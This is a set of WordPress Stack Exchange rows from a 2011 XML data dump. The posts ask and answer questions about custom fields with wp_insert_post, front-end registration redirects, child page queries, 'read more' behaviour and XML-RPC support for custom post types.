  <row Id="8573" PostTypeId="2" ParentId="8569" CreationDate="2011-02-04T20:31:37.470" Score="0" ViewCount="" Body="&lt;p&gt;I don't think you can use it with wp_insert_post();. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is because of how WP stores the two data types. Posts are stored in one big monolithic table with a dozen different columns (wp_posts); custom fields are stored in a simpler, 4-column table (wp_postmeta) comprised mainly of a meta key and value, associated with a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consequently, you can't really store custom fields until you have the post ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myplugin_insert_customs($pid){&#xA;&#xA;    $customs = array(&#xA;    'post_id' =&amp;gt; $pid,&#xA;    'meta_key' =&amp;gt; 'Your meta key',&#xA;    'meta_value' =&amp;gt; 'Your meta value',&#xA;    );&#xA;&#xA;    add_post_meta($customs);&#xA;&#xA;}&#xA;&#xA;add_action('save_post', 'myplugin_insert_customs', 99);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This codex post helped -- it's kinda the opposite of what you're doing (i.e., deleting a DB row upon post deletion): &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/delete_post&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Action_Reference/delete_post&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1682" LastEditorUserId="1682" LastEditorDisplayName="" LastEditDate="2011-02-04T20:59:09.053" LastActivityDate="2011-02-04T20:59:09.053" CommentCount="5" />
  <row Id="8574" PostTypeId="2" ParentId="8569" CreationDate="2011-02-04T21:01:57.897" Score="4" ViewCount="" Body="&lt;p&gt;Hi @&lt;strong&gt;Robin I Knight&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you read the documentation for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_post&lt;/code&gt;&lt;/a&gt;, it returns the post ID of the post you just created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you combine that with the following function &lt;code&gt;__update_post_meta&lt;/code&gt; (a custom function I acquired from this site and adapted a bit)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;  * Updates post meta for a post. It also automatically deletes or adds the value to field_name if specified&#xA;  *&#xA;  * @access     protected&#xA;  * @param      integer     The post ID for the post we're updating&#xA;  * @param      string      The field we're updating/adding/deleting&#xA;  * @param      string      [Optional] The value to update/add for field_name. If left blank, data will be deleted.&#xA;  * @return     void&#xA;  */&#xA;public function __update_post_meta( $post_id, $field_name, $value = '' )&#xA;{&#xA;    if ( empty( $value ) OR ! $value )&#xA;    {&#xA;        delete_post_meta( $post_id, $field_name );&#xA;    }&#xA;    elseif ( ! get_post_meta( $post_id, $field_name ) )&#xA;    {&#xA;        add_post_meta( $post_id, $field_name, $value );&#xA;    }&#xA;    else&#xA;    {&#xA;        update_post_meta( $post_id, $field_name, $value );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll get the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_post = array(&#xA;    'post_title' =&amp;gt; $_SESSION['booking-form-title'],&#xA;    'post_date' =&amp;gt; $_SESSION['cal_startdate'],&#xA;    'post_content' =&amp;gt; 'This is my post.',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'post_type' =&amp;gt; 'booking',&#xA;);&#xA;$the_post_id = wp_insert_post( $my_post );&#xA;&#xA;&#xA;__update_post_meta( $the_post_id, 'my-custom-field', 'my_custom_field_value' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-02-04T21:01:57.897" CommentCount="11" />
  <row Id="8575" PostTypeId="1" CreationDate="2011-02-04T21:13:58.073" Score="0" ViewCount="206" Body="&lt;p&gt;I need to add an additional filter based on a category for posts that have a custom post_type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a page located at &lt;code&gt;/category/tasks&lt;/code&gt; that lists all tasks. I need to make it so I can have additional pages that filter even further like &lt;code&gt;/category/tasks/current&lt;/code&gt;, &lt;code&gt;category/tasks/future&lt;/code&gt;, &lt;code&gt;/category/tasks/past&lt;/code&gt;. I can figure out how to get the query to work, I just am not sure how to pick up the type of filter from the URL. (currently it goes to a page not found error when adding the additional word after /tasks)&lt;/p&gt;&#xA;" OwnerUserId="1462" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-06T23:46:23.900" LastActivityDate="2011-03-06T23:50:08.453" Title="How to detect filter in URL in Category page?" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;urls&gt;&lt;filters&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="8576" PostTypeId="1" CreationDate="2011-02-04T21:31:47.177" Score="1" ViewCount="421" Body="&lt;p&gt;I've recently tried to add a user registration form to the front end of my site and have used the following form code (based upon &lt;a href=&quot;http://digwp.com/2010/12/login-register-password-code&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2010/12/login-register-password-code&lt;/a&gt; discovered in an answer by &lt;a href=&quot;http://wordpress.stackexchange.com/users/2110/maugly&quot; title=&quot;maugly&quot;&gt;maugly&lt;/a&gt; in question &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7134/front-end-register-form&quot;&gt;Front-end Register Form&lt;/a&gt;) in a template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;tab2_login&quot; class=&quot;tab_content_login&quot; &amp;gt;&#xA;        &amp;lt;h3&amp;gt;Add a child&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;form method=&quot;post&quot; action=&quot;&amp;lt;?php echo site_url('wp-login.php?action=register', 'login_post') ?&amp;gt;&quot; class=&quot;wp-user-form&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;username&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;user_login&quot;&amp;gt;&amp;lt;?php _e('Child Name'); ?&amp;gt;: &amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;user_login&quot; value=&quot;&amp;lt;?php echo esc_attr(stripslashes($user_login)); ?&amp;gt;&quot; size=&quot;20&quot; id=&quot;user_login&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;email&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;user_email&quot; value=&quot;&amp;lt;?php echo esc_attr(stripslashes($user_email)); ?&amp;gt;&quot; size=&quot;25&quot; id=&quot;user_email&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;login_fields&quot;&amp;gt;&#xA;                &amp;lt;?php do_action('register_form'); ?&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; name=&quot;user-submit&quot; value=&quot;add child&quot; class=&quot;user-submit&quot; /&amp;gt;&#xA;                &amp;lt;?php &#xA;&#xA;                $register = $_GET['register']; &#xA;&#xA;&#xA;                if($register == true) { &#xA;&#xA;                    //now add it to the link database&#xA;&#xA;                    echo '&amp;lt;p&amp;gt;User Added!&amp;lt;/p&amp;gt;'; &#xA;&#xA;                } ?&amp;gt;&#xA;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;redirect_to&quot; value=&quot;&amp;lt;?php echo $_SERVER['REQUEST_URI']; ?&amp;gt;?register=true&quot; /&amp;gt;  &#xA;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;user-cookie&quot; value=&quot;1&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The redirect_to attribute is set here to the requesting page which is all great when it works by triggering the if block to display an additional success message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question I have is when an error is detected in wp-login.php (such as the username is already in use) how do I get the redirect to come back to this page as opposed to the wp-login generated login box/error display? I can't see any obvious hook to grab hold of (although I've never used actions yet, so could be missing something!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help and guidance very much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ryan&lt;/p&gt;&#xA;" OwnerUserId="2923" LastActivityDate="2011-08-24T00:33:56.107" Title="Front end user creation form! How do you keep the user on the same page in event of error?" Tags="&lt;redirect&gt;&lt;registration&gt;&lt;front-end&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="8577" PostTypeId="1" CreationDate="2011-02-04T21:30:41.673" Score="0" ViewCount="139" Body="&lt;p&gt;I'm fairly new to WP but absolutely loving it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is my problem. I know that this topic it's already on the Forum but the solution simply don't work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a few pages where I would like to split content using read more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have done recommended hack by adding global&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$more; and $more = 0; the_content();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and everything seem to look ok although every time I click on read more link nothing happens and following result appear in my browser &lt;a href=&quot;http://www.mysite/#more-15&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite/#more-15&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dompl&lt;/p&gt;&#xA;" OwnerUserId="2960" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-05T00:18:25.020" LastActivityDate="2011-02-05T08:49:52.773" Title="Read more on pages WordPress" Tags="&lt;page&gt;&lt;more&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="8578" PostTypeId="1" CreationDate="2011-02-04T21:48:43.820" Score="1" ViewCount="111" Body="&lt;p&gt;I'm in the process of converting a legacy website (i.e., one that I programmed from scratch) into WordPress. The contents are mostly blog postings. I'm trying to figure out what to do with the non-blog stuff. In particular, the photo galleries. I'm using the NextGen Gallery plugin to manage my photos. Each photo gallery has several paragraphs of text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should a photo gallery be in a post or on a page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting a photo gallery into a post relatively straight forward, with a general category (i.e., Picture) and a specific subcategory (i.e., 2004) for organization. For bigger photo galleries, it seems like I have to split them up over multiple posts to avoid saturating a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting a photo gallery into a individual page is similar to post. The problem is creating the overview page (i.e., Pictures) that points to the subpage (i.e., 2004) that points to the individual pages. I'm not sure how to connect all these pages without being more work than necessary.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2011-05-09T08:25:41.520" Title="Should a photo gallery be in a post or on a page?" Tags="&lt;posts&gt;&lt;gallery&gt;&lt;pages&gt;&lt;plugin-nextgen-gallery&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="8579" PostTypeId="2" ParentId="8576" CreationDate="2011-02-04T21:52:53.407" Score="0" ViewCount="" Body="&lt;p&gt;Hook into registration_errors (The WP Codex is woefully incomplete on this, but see links below). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry this isn't more helpful -- the issue is a little more complex than it seems at the outset. I'll look into it more later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/registration_errors&quot; rel=&quot;nofollow&quot;&gt;http://adambrown.info/p/wp_hooks/hook/registration_errors&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/10672&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/10672&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference/registration_errors&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Filter_Reference/registration_errors&lt;/a&gt; and&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/register_post&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Action_Reference/register_post&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1682" LastEditorUserId="1682" LastEditorDisplayName="" LastEditDate="2011-02-04T22:16:11.033" LastActivityDate="2011-02-04T22:16:11.033" CommentCount="2" />
  <row Id="8580" PostTypeId="2" ParentId="8556" CreationDate="2011-02-04T22:16:11.500" Score="3" ViewCount="" Body="&lt;p&gt;Looks like Lynne has you headed in the right direction PFrank.  Check out this page in the WordPress Codex for more info on sorting queries and sorting by 'comment_count'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Order_.26_Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts#Order_.26_Orderby_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2011-02-04T22:16:11.500" />
  <row Id="8581" PostTypeId="2" ParentId="8577" CreationDate="2011-02-04T22:31:22.393" Score="0" ViewCount="" Body="&lt;p&gt;The only reason to use a $more variable is if you feel the need to edit the 'read more' text that displays automatically. If you just want to chunk it up and don't care what it says... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_excerpt ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in place of wherever the content is called. So, for instance a standard loop on a page that displayed all posts as excerpts would look like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;// You can shove other things like voting and meta data or whatever in here...&#xA;&amp;lt;?php the_excerpt ?&amp;gt;&#xA;// You can shove other things like voting and meta data or whatever in here...&#xA;&amp;lt;?php endwhile; else: ?&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php _e('Sorry, no posts matched your criteria.'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2479" LastEditorUserId="2479" LastEditorDisplayName="" LastEditDate="2011-02-04T22:37:18.207" LastActivityDate="2011-02-04T22:37:18.207" />
  <row Id="8583" PostTypeId="2" ParentId="8578" CreationDate="2011-02-04T22:50:37.773" Score="1" ViewCount="" Body="&lt;p&gt;I would go with Categories + Posts, if there's no data in-between that gets in the way.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-04T22:50:37.773" />
  <row Id="8584" PostTypeId="1" CreationDate="2011-02-04T22:55:20.537" Score="0" ViewCount="240" Body="&lt;p&gt;Hi&#xA;I would like to display all child pages from all parents pages. Not from specific parent!&#xA;and I would like to display them as random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I used currently :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts=get_posts('child_of='.$post&amp;gt;ID.'paged=2&amp;amp;posts_per_page=1&amp;amp;sort_column=post_date &amp;amp;sort_order=desc&amp;amp;showposts=3$orderby=rand&amp;amp;post_type=page');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if I use random as orderby then it shows all parents and child pages. But what I'm doing now use orderby=post_date and limit the number of posts as 3 so now i'm getting 3 child pages which I wanted, but I add more page as child then it won't appear, because I'm not using random. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Haven't found any template tag for child page display. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full code is follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&amp;lt;?/*php $post=query_posts('showposts=3'); */?&amp;gt; &#xA;&#xA;&amp;lt;?php $post=query_posts('post_type=page&amp;amp;orderby=rand&amp;amp;posts_per_page=3'); ?&amp;gt;&#xA;&#xA;&amp;lt;?/*php $posts =get_posts('paged=2&amp;amp;posts_per_page=1&#xA;&amp;amp;orderby=rand&amp;amp;showposts=3&amp;amp;post_type=page'); foreach ($posts as $post) : start_wp(); */?&amp;gt;&#xA;&#xA;&amp;lt;?php $posts = get_posts('child_of='.$post-&amp;gt;ID.'&#xA;  $paged=2&amp;amp;posts_per_page=1&amp;amp;sort_column=post_date &amp;amp;sort_order=desc&amp;amp;showposts=3&#xA;  $orderby=post_date&amp;amp;post_type=page'); // important&#xA;&#xA;foreach ($posts as $post) : start_wp(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php static $count1 = 0; if ($count1 == &quot;2&quot;) { ?&amp;gt;&#xA;    &amp;lt;div id=&quot;lastcolumn&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;entry&quot;&amp;gt;&#xA;   &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php get_post_thumbnail(); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;   &amp;lt;div id=&quot;entry-text&quot;&amp;gt;&#xA;   &amp;lt;?php $entry = get_post_meta($post-&amp;gt;ID, 'additional_text', true); ?&amp;gt;&#xA;&#xA;   &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt; /&amp;amp;nbsp&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;&amp;lt;?php echo $entry; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;  &amp;lt;?php } elseif ($count1 == &quot;3&quot;) { break; } else { ?&amp;gt;&#xA;  &amp;lt;div id=&quot;column&quot;&amp;gt;&#xA;  &amp;lt;div id=&quot;entry&quot;&amp;gt;&#xA;  &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php get_post_thumbnail(); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;  &amp;lt;div id=&quot;entry-text&quot;&amp;gt;&#xA;  &amp;lt;?php $entry = get_post_meta($post-&amp;gt;ID, 'additional_text', true); ?&amp;gt;&#xA;  &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt; /&amp;amp;nbsp&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;&amp;lt;?php echo $entry; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php $count1++; } ?&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or clue wiill be great favor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2824" LastActivityDate="2011-02-04T23:12:34.267" Title="How to display all child/sub pages from all parent pages?" Tags="&lt;page-template&gt;" AnswerCount="1" />
  <row Id="8585" PostTypeId="2" ParentId="8575" CreationDate="2011-02-04T23:02:23.043" Score="1" ViewCount="" Body="&lt;p&gt;If I'm understand the question right....&#xA;first login to the admin section. then click on &quot;categories&quot; its in the &quot;Posts&quot; accordion box. When your there you'll see all your categories. Next, following your example, you need to make &quot;current&quot;, &quot;future&quot;, and &quot;past&quot; all children of &quot;tasks&quot;. this should achieve the desired URL. Let me know if I can help any more. &lt;/p&gt;&#xA;" OwnerUserId="2774" LastActivityDate="2011-02-04T23:02:23.043" />
  <row Id="8586" PostTypeId="1" AcceptedAnswerId="8591" CreationDate="2011-02-04T23:06:20.153" Score="0" ViewCount="545" Body="&lt;p&gt;I can't find much documentation on using XML-RPC and custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a specific requirement that remote posting and management (the client has an in-house cms) must be used for a custom post type.&lt;/p&gt;&#xA;" OwnerUserId="474" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-05T01:45:31.483" LastActivityDate="2011-02-22T17:14:50.383" Title="XML-RPC and Custom Post Types" Tags="&lt;custom-post-types&gt;&lt;xml-rpc&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="8587" PostTypeId="2" ParentId="8584" CreationDate="2011-02-04T23:12:34.267" Score="1" ViewCount="" Body="&lt;p&gt;Here's a random thought. query for ALL pages, but exclude the parents. Something like this maybe?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array( 'post__not_in' =&amp;gt; array( 2, 5, 12, 14, 20 ) , 'post_type' =&amp;gt; 'page', 'orderby' =&amp;gt; 'rand' , 'posts_per_page' =&amp;gt; '3' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2774" LastActivityDate="2011-02-04T23:12:34.267" />
  <row Id="8588" PostTypeId="2" ParentId="8586" CreationDate="2011-02-04T23:33:26.863" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/XML-RPC_wp&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/XML-RPC_wp&lt;/a&gt; report the documentation of XML-RPC and is a little outdated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/class-wp-xmlrpc-server.php&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/trunk/wp-includes/class-wp-xmlrpc-server.php&lt;/a&gt; is the actual XML-RPC server. At a quick look, seems that posting to a custom post type is not supported!&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-04T23:33:26.863" />
  <row Id="8589" PostTypeId="1" AcceptedAnswerId="8595" CreationDate="2011-02-05T00:21:09.917" Score="1" ViewCount="117" Body="&lt;p&gt;I'm trying to modify the display of the &lt;code&gt;edit-comments.php&lt;/code&gt; admin page and I'm not seeing any filters in it comparable to &lt;code&gt;manage_posts_columns&lt;/code&gt; etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to do this? I'm thinking the only real way to go about doing this is to extend &lt;strong&gt;WP_Comments_List_Table&lt;/strong&gt; with my own class, overwrite the &lt;code&gt;get_columns&lt;/code&gt; and other related functions, and just add my own page to the admin menu which uses this new class in the same way that edit-comments.php uses &lt;strong&gt;WP_Comments_List_Table&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easier way to do this that I'm just not seeing?&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-02-05T02:19:08.563" Title="Are there any filters to add additional columns to the list table on edit-comments.php?" Tags="&lt;admin&gt;&lt;columns&gt;" AnswerCount="1" />
  <row Id="8590" PostTypeId="1" CreationDate="2011-02-05T00:32:13.287" Score="0" ViewCount="126" Body="&lt;p&gt;I have set up a wp multi-site with custom roles.  One of the roles can add users.  I need a solution to only show two roles available to the limited role on add user and leave all user types available to administrator.  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4479/editor-can-create-any-new-user-except-administrator&quot;&gt;This code snipped&lt;/a&gt; works great for removing Administrator mode, but I don't understand enough of it to know if I could expand it to dis-clude other roles as well.  Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2567" LastActivityDate="2011-06-05T02:57:47.683" Title="similar to Editor can create any new user except administrator" Tags="&lt;user-roles&gt;" AnswerCount="1" />
  <row Id="8591" PostTypeId="2" ParentId="8586" CreationDate="2011-02-05T01:28:07.730" Score="2" ViewCount="" Body="&lt;p&gt;@keatch is correct that out-of-the-box WP XML-RPC does not support post types other than 'post' and 'page'. However, a quick stroll through the code indicates that this may be relatively easy to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In  WP 3.0.4, &lt;code&gt;xmlrpc.php&lt;/code&gt;, line 1989, we have the function &lt;code&gt;mw_newPost()&lt;/code&gt; (which does the heavy lifting). At line 2005 there is an &lt;code&gt;if-else&lt;/code&gt; checking the post type, but it would be easy to extend by inserting additional checks starting at line 2021. Then at line 2059 we have a &lt;code&gt;switch($post_type)&lt;/code&gt; that would also be easy to extend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And ... that's about it for insert. At line 2196 the data is wrapped up and inserted, and at line 2213 the custom fields are attached to the post and nothing else seems to care about &lt;code&gt;post_type&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are probably a few more places to extend for other commands, but just search on &lt;code&gt;post_type&lt;/code&gt; (without the '$') and look to see if it will make any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note well: this is a core WP file and any hacks thereto are going to get overwritten by the next update to core. On the other hand, these are mostly trivial changes and you could make sure that the client notifies you &lt;em&gt;before&lt;/em&gt; they do an update to core.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Reply to Comment:&lt;/em&gt; Life is more complicated than Rarst's comment would make it seem. And the excellent answer he pointed to is solving a problem significantly simpler that what your question appears to be asking about. In kongo09's comment to Rarst's own answer in that thread he observed that 'there is probably no help' coming in this area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom Posts are a bit of an afterthought in the WP code. When you look at the logic in a number of places you see code that originally said &quot;do this thing with a post&quot;. When pages came along that code had to be expanded to deal with posts &lt;em&gt;and&lt;/em&gt; pages. And then it had to be expanded again to deal with customs posts. This is a classic programming evolution: 1, 2, many.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The xmlrpc code is one of the places that is stuck at &quot;2&quot; (and sometimes even at &quot;1&quot;). In trying to add functionality to core code, you are stuck choosing between several possible paths, all of which have their downsides.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Submit a request/bug ticket and wait for it to be fixed by the core team. This may take some time and your client may not be willing to wait. Ref. kongo09's statement. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fix the code yourself and submit a patch. Reapply your patch with each new update to core while you wait for it to be accepted. This is sort of what I was suggesting, although I &lt;a href=&quot;http://en.wikipedia.org/wiki/Handwaving&quot; rel=&quot;nofollow&quot;&gt;handwaved&lt;/a&gt; the details. Managing the revisions across possibly conflicting changes will be easier if you use something like Mercurial's MqMerge. I wouldn't try this with SVN. Check each merge carefully because this is the type of code that can get totally hosed across revs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy a substantial amount of the core xmlrpc code, make your changes, and hook it in via the &lt;code&gt;xmlrpc_methods&lt;/code&gt; filter mentioned in the post he linked to. This means you have effectively forked the code. Although it makes for an &quot;easy update&quot; it is also an easy way to miss crucial security changes made to the code you forked. This is a not insignificant problem as simply googling on &quot;wordpress xmlrpc security&quot; will show you. Note that 3.0.1 and 3.0.2 both had XML security issues.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You're probably going to be forced to do #3 or #2 in spades because the more you look at the WP section of xmlrpc, the more you realize how haphazard it is regarding what you can do with what type of objects E.g. using the WP xml interface you can only create a page, but the MW method &lt;code&gt;mw_newPost()&lt;/code&gt; (invoked by the WP method &lt;code&gt;wp_newPost()&lt;/code&gt;) permits new pages &lt;em&gt;or&lt;/em&gt; new posts, but not new custom posts -- and so it goes. To fully support custom posts will require a significant effort and keeping it in sync with changes to the core may be problematic, regardless of the method you choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update - 2 weeks later:&lt;/strong&gt; So a friend just asked me a question that was almost &lt;em&gt;exactly&lt;/em&gt; the same as Jeremy's. It forced me to take a really &lt;em&gt;hard&lt;/em&gt; look at the XMLRPC code to see how we can make the changes but avoid the &quot;modify core&quot; problem raised by Rarst. It turns out that there are a very large number of undocumented &lt;code&gt;do_action()&lt;/code&gt; hooks plus (more importantly for these purposes) a mentioned-but-undocumented &lt;code&gt;apply_filters('xmlrpc_methods', $this-&amp;gt;methods);&lt;/code&gt; (line 203) that allows for arbitrary modification/addition/deletion of methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still maintain that the XMLRPC code is a swamp, but this particular &lt;code&gt;apply_filter()&lt;/code&gt; lets you take a left turn out of the swamp without modifying core code.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditorDisplayName="" LastEditDate="2011-02-22T17:14:50.383" LastActivityDate="2011-02-22T17:14:50.383" CommentCount="5" />
